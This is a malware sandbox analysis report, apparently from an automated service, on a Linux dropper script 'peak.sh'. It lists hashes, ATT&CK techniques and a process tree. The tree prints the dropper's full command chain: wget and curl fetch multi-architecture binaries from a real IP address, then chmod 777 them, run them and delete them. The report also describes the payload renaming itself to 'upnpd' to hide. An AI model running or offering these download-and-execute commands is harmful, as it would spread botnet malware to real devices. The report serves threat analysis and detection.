48e421597ab357fae3b48ba01910dcabb5ff07e4b1a0412b861b9a47895c4d59

Analysis

max time kernel
149s
max time network
138s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/07/2026, 00:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
peak.sh
Size 847B
Sample260731-ahxesasyev
SHA256 48e421597ab357fae3b48ba01910dcabb5ff07e4b1a0412b861b9a47895c4d59
MD5 85f64589d8aaaf914c6c38837e3a1f6b
SHA1 b1c52aeafff2df9e4412118f9e09a8187ffd47b0
SHA512 23b6860034735fb89a81bb5203d3b5f8a68d549af2cb78dfb5ed3b5e446c108f4a3c9c902f16abbf1204d52e557ce8e11f4c9f38022f685700e3c6e610e8ec55
TLSH
T14C010AC531903EB2EC489F08FBB605586087AED9ABCF07E458CB5F149D9D600F953D08
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
673	chmod
680	chmod
686	chmod
691	chmod
696	chmod
701	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/armv4l	674	peak.sh

Renames itself 1 IoCs

pid	Process
674	armv4l

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 1 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/eth0/address	armv4l

Reads network interface configuration 2 TTPs 2 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/eth0/carrier	armv4l
File opened for reading	/sys/class/net/eth0/flags	armv4l

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	upnpd	674	armv4l

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	armv4l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/9/cmdline	armv4l
File opened for reading	/proc/142/cmdline	armv4l
File opened for reading	/proc/575/cmdline	armv4l
File opened for reading	/proc/679/cmdline	armv4l
File opened for reading	/proc/800/cmdline	armv4l
File opened for reading	/proc/810/cmdline	armv4l
File opened for reading	/proc/10/cmdline	armv4l
File opened for reading	/proc/772/cmdline	armv4l
File opened for reading	/proc/321/cmdline	armv4l
File opened for reading	/proc/636/cmdline	armv4l
File opened for reading	/proc/1/cmdline	armv4l
File opened for reading	/proc/290/cmdline	armv4l
File opened for reading	/proc/567/cmdline	armv4l
File opened for reading	/proc/699/cmdline	armv4l
File opened for reading	/proc/self/exe	armv4l
File opened for reading	/proc/788/cmdline	armv4l
File opened for reading	/proc/3/cmdline	armv4l
File opened for reading	/proc/578/cmdline	armv4l
File opened for reading	/proc/688/cmdline	armv4l
File opened for reading	/proc/694/cmdline	armv4l
File opened for reading	/proc/735/cmdline	armv4l
File opened for reading	/proc/724/cmdline	armv4l
File opened for reading	/proc/728/cmdline	armv4l
File opened for reading	/proc/11/cmdline	armv4l
File opened for reading	/proc/649/cmdline	armv4l
File opened for reading	/proc/693/cmdline	armv4l
File opened for reading	/proc/700/cmdline	armv4l
File opened for reading	/proc/769/cmdline	armv4l
File opened for reading	/proc/777/cmdline	armv4l
File opened for reading	/proc/734/cmdline	armv4l
File opened for reading	/proc/784/cmdline	armv4l
File opened for reading	/proc/107/cmdline	armv4l
File opened for reading	/proc/137/cmdline	armv4l
File opened for reading	/proc/646/cmdline	armv4l
File opened for reading	/proc/682/cmdline	armv4l
File opened for reading	/proc/725/cmdline	armv4l
File opened for reading	/proc/756/cmdline	armv4l
File opened for reading	/proc/4/cmdline	armv4l
File opened for reading	/proc/98/cmdline	armv4l
File opened for reading	/proc/109/cmdline	armv4l
File opened for reading	/proc/710/cmdline	armv4l
File opened for reading	/proc/713/cmdline	armv4l
File opened for reading	/proc/780/cmdline	armv4l
File opened for reading	/proc/782/cmdline	armv4l
File opened for reading	/proc/793/cmdline	armv4l
File opened for reading	/proc/25/cmdline	armv4l
File opened for reading	/proc/43/cmdline	armv4l
File opened for reading	/proc/18/cmdline	armv4l
File opened for reading	/proc/779/cmdline	armv4l
File opened for reading	/proc/28/cmdline	armv4l
File opened for reading	/proc/709/cmdline	armv4l
File opened for reading	/proc/12/cmdline	armv4l
File opened for reading	/proc/638/cmdline	armv4l
File opened for reading	/proc/644/cmdline	armv4l
File opened for reading	/proc/759/cmdline	armv4l
File opened for reading	/proc/781/cmdline	armv4l
File opened for reading	/proc/732/cmdline	armv4l
File opened for reading	/proc/19/cmdline	armv4l
File opened for reading	/proc/306/cmdline	armv4l
File opened for reading	/proc/805/cmdline	armv4l
File opened for reading	/proc/13/cmdline	armv4l
File opened for reading	/proc/15/cmdline	armv4l
File opened for reading	/proc/17/cmdline	armv4l
File opened for reading	/proc/136/cmdline	armv4l

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
689	wget
690	curl
692	.mips
693	rm
694	wget
695	curl
697	mipsel
698	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/armv4l	wget

/tmp/peak.sh
/tmp/peak.sh
1⤵
- Executes dropped EXE
PID:646
- /usr/bin/wget
  wget http://94.154.43.164/armv4l -O armv4l
  2⤵
  - Writes file to tmp directory
  PID:647
- /bin/chmod
  chmod 777 armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /tmp/armv4l
  ./armv4l fastjson
  2⤵
  - Renames itself
  - Reads MAC address of network interface
  - Reads network interface configuration
  - Changes its process name
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:674
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:676
- /usr/bin/wget
  wget http://94.154.43.164/armv5l -O armv5l
  2⤵
  PID:678
- /usr/bin/curl
  curl -O http://94.154.43.164/armv5l -o armv5l
  2⤵
  PID:679
- /bin/chmod
  chmod 777 armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/armv5l
  ./armv5l fastjson
  2⤵
  PID:681
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:682
- /usr/bin/wget
  wget http://94.154.43.164/armv7l -O armv7l
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://94.154.43.164/armv7l -o armv7l
  2⤵
  PID:685
- /bin/chmod
  chmod 777 armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/armv7l
  ./armv7l fastjson
  2⤵
  PID:687
- /bin/rm
  rm -rf armv7l
  2⤵
  PID:688
- /usr/bin/wget
  wget http://94.154.43.164/mips -O mips
  2⤵
  - System Network Configuration Discovery
  PID:689
- /usr/bin/curl
  curl -O http://94.154.43.164/mips -o mips
  2⤵
  - System Network Configuration Discovery
  PID:690
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/.mips
  ./.mips fastjson
  2⤵
  - System Network Configuration Discovery
  PID:692
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:693
- /usr/bin/wget
  wget http://94.154.43.164/mipsel -O mipsel
  2⤵
  - System Network Configuration Discovery
  PID:694
- /usr/bin/curl
  curl -O http://94.154.43.164/mipsel -o mipsel
  2⤵
  - System Network Configuration Discovery
  PID:695
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/mipsel
  ./mipsel fastjson
  2⤵
  - System Network Configuration Discovery
  PID:697
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:698
- /usr/bin/wget
  wget http://94.154.43.164/i686 -O i686
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://94.154.43.164/i686 -o i686
  2⤵
  PID:700
- /bin/chmod
  chmod 777 i686
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/i686
  ./i686 fastjson
  2⤵
  PID:702
- /bin/rm
  rm -rf i686
  2⤵
  PID:703

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

armv4l

Path /tmp/armv4l
Size 93KB
SHA256 ef42e6fd238baa990731f2ab20d130c489c1689588c5842713f28b4e90724019
MD5 448ba09e54af0197023998b7fde8c9be
SHA1 221f4d4c06a01399bd975f18da17c07b82764925
SHA512 2d20e87d495145e93ed60ad5ed7e366b72d3dc964b7673844081d45de38c00de2f96e0d7b4ff3948d9858b0aceba5c1155d95a4f0acc2bbe59c80ce1abb7e64d
SSDEEP 1536:8N8/F7AHaT6ZVyEpTgxLuUstaESnYBdQFUBhazHA+Ho1Wm2od4kT4z5En:h/LT6ZVHGxLuLtaESnYPQFUDazHkYoPN
TLSH
T129934B46BD81DB42C6E82376BA5D82CC332603F8D2EA7106DD265F6137DB81B0E7B651
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads